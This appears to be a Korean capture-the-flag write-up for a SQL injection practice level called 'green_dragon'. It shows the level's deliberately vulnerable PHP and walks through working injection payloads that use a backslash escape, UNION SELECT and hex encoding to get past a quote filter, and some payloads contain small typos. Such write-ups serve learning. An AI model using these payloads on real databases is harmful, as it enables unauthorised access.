<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id]
,$_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, '
, "
, /i (대소문자를 구분하지 않음)
2.
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
2번째 쿼리에서 2중으로 prob
, _
, .
, '
, "
, /i (대소문자를 구분하지 않음)
가 필터링되는 것을 알 수 있다.
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
작은 따옴표(')
를 우회 할 수 있는 큰 따옴표(")
또한 필터링 되어 있기 때문에, 백슬래시(\)
로 우회해야한다.
그렇게 된다면,
id=\&pw=1
첫번째 쿼리에서 \' and pw='
까지가 id가 되버린다.
SELECT문에서 id와 pw가 필요하기 때문에, UNION SELECT
을 사용해야한다.
💙 UNION SELECT
서로 다른 테이블에서 얻어본 칼럼을 하나의 단일 집합으로 만들어주는 키워드이며, 불러오는 칼럼의 개수는 동일해야 한다.
id=/&pw= union select 1,2 -- -
두번째 쿼리를 보면, id=1, pw=2가 입력된 것을 확인할 수 있다.
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
id='admin' 이면, 성공적으로 출력되기 때문에, 아이디를 입력해야한다. 하지만, 작은 따옴표(')
가 필터링 되기때문에 id=\&pw= union select id='admin
을 사용하지 못한다.
일단, admin을 유니코드 정수로 바꿔보자.
char(97,100,109,105,110)
💙 ord
- 문자를 유니코드 정수로 변환
💙 chr
- 유니코드 정수를 받아서 문자를 반환
id=\&pw= union select char(97,110,109,105,110)-- -
아무런 반응이 없다.
쿼리1에만 코드가 넣어진걸로 인식되기 때문에 쿼리2에서 union select char이 안먹히는 것 같다.
id=\&pw= union select 0x5c,0x756e696f6e2073656c65637420636861722839372c3130302c3130392c3130352c313130292d2d202d-- -
char로 먹히지 않는다면, hex로 우회한다.
백슬래시(\)
까지 16진수로 넣어줘야 하기때문에 같이 헥사로 변환해주었다.
백슬래시(\)
로 우회해야할까?이미 쿼리1에서 백슬래시를 사용했기때문에 쿼리2까지 넘어가지 않는다.
hex
로 변환해야할까?ASCII코드는 문자의 정해진 번호를 뜻한다. 그렇기 때문에 16진수로 변환할 수 있다.
이번 문제는 몇 시간동안 헤매면서 풀었던 것 같다.
문제를 풀 때 단순하게 생각하기보단 왜 이렇게 풀어야했는지, 문제가 원하는 답이 무엇인지에 대해 정확하게 이해하다보니 시간이 많이 소비되었던 것 같다.
그래도 막상 이해하니 뿌듯하다 (❁´◡`❁)